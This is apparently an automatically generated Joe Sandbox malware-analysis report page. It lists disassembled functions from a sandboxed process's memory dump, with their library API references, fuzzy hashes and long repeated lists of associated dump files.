Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: de241dd55b422ed1e4ea048f00bb23ff873d8577d80bba1863d2e2f735cfcc17
Instruction ID: bedd7d57447f2f6213e501f80d4d7520223eb9327692232311b30cd5d02a6d52
Opcode Fuzzy Hash: de241dd55b422ed1e4ea048f00bb23ff873d8577d80bba1863d2e2f735cfcc17
Instruction Fuzzy Hash: 54B10532F00756AFDF228F68C882FAE7BE5EF5A750F144155E904AB282D3749902C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 009A8130 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 320COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 009A85AC
___std_exception_destroy.LIBVCRUNTIME ref: 009A85C2

Strings

, column , xrefs: 009A81A2
ror, xrefs: 009A82A0
parse error, xrefs: 009A8305
at line , xrefs: 009A818B

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: at line $, column $parse error$ror
API String ID: 4194217158-697689061
Opcode ID: 95822c34671a0b5ee1555670f745771239f8dbc9df19e3f845a68f1f17cd73cd
Instruction ID: f8ca7b97bb85c845437036894852f16422019d763f888a5533f48cd2362b2ff3
Opcode Fuzzy Hash: 95822c34671a0b5ee1555670f745771239f8dbc9df19e3f845a68f1f17cd73cd
Instruction Fuzzy Hash: 00D1ED71C00248DFEB14DFA8CD457EEBBB5AF96300F208299E4546B2D2D7B45B84DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A80500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A80537
___except_validate_context_record.LIBVCRUNTIME ref: 00A8053F
_ValidateLocalCookies.LIBCMT ref: 00A805C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00A805F3
_ValidateLocalCookies.LIBCMT ref: 00A80648

Strings

csm, xrefs: 00A805DD

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f1db77d7ff048e1fa5ea55c064c3af6e7ba3d6956ecf56793b266209b1521f03
Instruction ID: 27a33735ceb62d1b43f6bf9916c4ecc0a1ae6414609b79e081766258f260f40a
Opcode Fuzzy Hash: f1db77d7ff048e1fa5ea55c064c3af6e7ba3d6956ecf56793b266209b1521f03
Instruction Fuzzy Hash: 4D41B534A00208AFCF54EF68C885E9EBBB5BF44324F14C165E8189B392D771EA15CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A09270 Relevance: 9.1, APIs: 6, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A092AD
std::_Lockit::_Lockit.LIBCPMT ref: 00A092CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00A092F7
__Getctype.LIBCPMT ref: 00A093D5
std::_Facet_Register.LIBCPMT ref: 00A09409
std::_Lockit::~_Lockit.LIBCPMT ref: 00A09433

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 1e88df131b19bed894e44df04406f285f2fd8c004ee0b0fd5cca17de13e0f6bb
Instruction ID: 53cab7f163f5c429679102b0941338989986c3507bfb8c8ef614120066e8b018
Opcode Fuzzy Hash: 1e88df131b19bed894e44df04406f285f2fd8c004ee0b0fd5cca17de13e0f6bb
Instruction Fuzzy Hash: 1F51BAB1D00289DBCB10DFA8D949BAEBBB4BB04710F14815CD855AB382D774AA05CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 009ABD50 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ad3640faccf94c056af9e885ff326267f708604cebb3c8f0367ce540dee5902
Instruction ID: aaf685fbb75d8ed671a798bf08fcc201056b7ec5ac11f21056e36188dc5efa8c
Opcode Fuzzy Hash: 2ad3640faccf94c056af9e885ff326267f708604cebb3c8f0367ce540dee5902
Instruction Fuzzy Hash: 4A5146B0D1075AEBEB11DFA4CC04BAEBFB4BF55704F24421AE5047A292D3B56994CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A0B4D0 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A0B4FA
std::_Lockit::_Lockit.LIBCPMT ref: 00A0B51C
std::_Lockit::~_Lockit.LIBCPMT ref: 00A0B544
std::_Facet_Register.LIBCPMT ref: 00A0B63A
std::_Lockit::~_Lockit.LIBCPMT ref: 00A0B664

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 2b7a49d9fadfc5aac9f43267e7343568cda98510edbb10ac6bd086d7f81e8b1f
Instruction ID: 6a97e2c91e511c6e3a33e55425added3cfa4a5cdb4aacf7bfca16be6b40e7437
Opcode Fuzzy Hash: 2b7a49d9fadfc5aac9f43267e7343568cda98510edbb10ac6bd086d7f81e8b1f
Instruction Fuzzy Hash: 2051A0B0900249DFCB11DF98DA847AEBBF4FF04714F248598E455AB3C1D775AA05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009AB1A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,009FE8D7,?,00000000), ref: 009AB207
std::_Throw_Cpp_error.LIBCPMT ref: 009AB24F
std::_Throw_Cpp_error.LIBCPMT ref: 009AB260

Strings

\*.*, xrefs: 009AB3B0

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
